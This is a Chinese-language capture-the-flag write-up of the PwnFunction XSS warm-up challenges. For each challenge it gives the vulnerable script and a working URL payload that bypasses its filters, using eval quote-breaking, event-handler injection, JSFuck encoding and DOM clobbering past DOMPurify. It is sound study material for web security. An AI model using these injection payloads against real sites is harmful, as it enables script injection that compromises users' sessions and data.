目录
[Ma Spaghet](#Ma Spaghet)
[Ugandan Knuckles](#Ugandan Knuckles)
[Ricardo Milos](#Ricardo Milos)
[Ah That's Hawt](#Ah That's Hawt)
[Ok, Boomer](#Ok, Boomer)
Ma Spaghet
代码
javascript
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
payload构造
在innerHTML中官方限制了<script>标签,所以payload我们使用img和onerror属性
javascript
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=%3Cimg%20src=1%20onerror=%22alert(1337)%22%3E
结果
Jefff
代码
javascript
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
payload构造
方法一
上述代码出问题的地方应该在eval这个地方
我们先可以将eval中双引号闭合然后再写我们的payload
javascript
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaaa%22;alert(1337);%22
方法二
同样也是闭合,不过这里在;后面添加-,这样就是jeff将输入的语据看成一句执行,如下图
测试了一下去掉;也可以执行
javascript
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaaa%22;-alert(1337);-%22
结果
方法一
方法二
Ugandan Knuckles
代码
javascript
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
payload构造
观察代码发现过滤了一个<>,那么我们闭合input后执行<script>alert(1)</script>的想法破灭了。
我们可以使用标签中的移到焦点执行命令和自动追踪焦点的属性达成我们的目的
javascript
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaa%22%20onfocus=alert(1337)%20autofocus=%22
结果
Ricardo Milos
代码
javascript
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
payload构造
这里我们使用JavaScript伪协议来进行提交
javascript
https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1)
结果
Ah That's Hawt
代码
javascript
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
payload构造
这里过滤了()和`和\
我们看到innerHTML可以想到使用img标签,然后看到过滤了括号我们可以尝试使用location,然后使用%25编码%绕过()
javascript
https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Cimg%20src=1%20onerror=location=%22javascript:alert%25281337%2529%22%3E
结果
Ligma
代码
javascript
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
payload构造
这里过滤了字母和数字,但是并没有限制长度。这里可以考虑使用编码,再下面网上进行编码
JSFuck - Write any JavaScript with 6 Characters: []()!+
然后拿过来使用,先进行javascript编码然后再进行url编码
javascript
https://sandbox.pwnfunction.com/warmups/ligma.html?balls=[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]][([][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B[]]]%2B([][[]]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[%2B!%2B[]]%2B([][[]]%2B[])[%2B[]]%2B([][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B!%2B[]]]((!![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B([][[]]%2B[])[%2B[]]%2B(!![]%2B[])[%2B!%2B[]]%2B([][[]]%2B[])[%2B!%2B[]]%2B(%2B[![]]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B!%2B[]]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(%2B(!%2B[]%2B!%2B[]%2B!%2B[]%2B[%2B!%2B[]]))[(!![]%2B[])[%2B[]]%2B(!![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B[]]]%2B([]%2B[])[([][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B[]]]%2B([][[]]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[%2B!%2B[]]%2B([][[]]%2B[])[%2B[]]%2B([][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B!%2B[]]][([][[]]%2B[])[%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B((%2B[])[([][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B[]]]%2B([][[]]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[%2B!%2B[]]%2B([][[]]%2B[])[%2B[]]%2B([][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[%2B!%2B[]%2B[%2B!%2B[]]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]](!%2B[]%2B!%2B[]%2B!%2B[]%2B[!%2B[]%2B!%2B[]])%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]])()((![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B([][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]]%2B[])[%2B!%2B[]%2B[!%2B[]%2B!%2B[]%2B!%2B[]]]%2B[%2B!%2B[]]%2B[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!%2B[]%2B!%2B[]%2B!%2B[]%2B!%2B[]%2B!%2B[]%2B!%2B[]%2B!%2B[]]%2B([%2B[]]%2B![]%2B[][(![]%2B[])[%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(!![]%2B[])[%2B[]]])[!%2B[]%2B!%2B[]%2B[%2B[]]])
结果
Mafia
代码过滤了`'"+-!\[]
代码
javascript
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
payload构造
方法一
他没有过滤()我们可以尝试一下使用匿名函数来进行绕过,且使用ALERT绕过正则
Function(/ALERT(1337)/.source.toLowerCase())()
/ALERT(1337)/ 是一个正则表达式字面量。它匹配字符串 "ALERT(1337)"。
.source 属性返回正则表达式的源字符串,即 "ALERT(1337)"。
toLowerCase()
toLowerCase() 方法将字符串 "ALERT(1337)" 转换为 "alert(1337)"。
方法二
使用进制转换
8680439..toString(30)
先将数字 8680439
转换为一个字符串,并以基数 30
表示。这会将该数字以 30 进制表示。双点号 ..
是 JavaScript 的一个语法特性,确保 toString
被正确调用。结果是一个字符串,表示数字 8680439
在基数 30
下的表示形式。
为什么要使用30进制。咱们看一下16进制过了9数字以后是不是就开始使用字母来进行计数了,然后里面没有t就没有办法是用..tostring转化出来t,所以就最小是30进制,最大就到了36进制,这个是因为最大就36进制
javascript
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(8680439..toString(30))(1337)
结果
方法一
方法二
Ok, Boomer
代码
这里有一个过滤框架DOMPurify用来防御DOM型xss,这个框架将任何xss的代码都过滤了
javascript
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
payload构造
由于过滤框架DOMPurify,我们不考虑 boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")在这里注入
我们考虑在 setTimeout(ok, 2000)这里注入
这里就引入了一个新的知识点
我们先在控制台打印几个变量
在这里document取值name里面是什么,就会把那个标签取出来
这里有一个例子document.cookie这样就把<img name="cookie">取出来了
还比如说这样,取出来的body.appendChild
这里再介绍几个函数
getOwnPropertyNames(对应数组所有的名字)下面代码中是获取window下的所有名字
然后过滤了所有后缀为Element的名字
然后是用window取名字对应的值
然后要获取prototype携带的toString方法,且不能是Object.prototype下的字符串方法,因为后者返回的是一个元素,我们需要的是可控的字符串
javascript
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString
!== Object.prototype.toString)
最后剩了两个属性
然后我们得到的两个都可以是用href进行转换
然后你是用上面的两个属性弹窗一个属性就会以字符串的形式展示href里面的值,如果你用的是从object继承来的toString,就会返回一个对象,例子如下
然后我们就可以借助这个特性构造payload了
如下,再boomer处传入id等于ok的a标签,然后 setTimeou就会获取a标签里面href的值,进行执行
然后由于有DOMPurify这个框架,我们还需要绕过,绕过就需要查看DOMPurify这个框架的白名单
javascript
https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=%22ok%22%20href=%22tel:alert(1337)%22%3E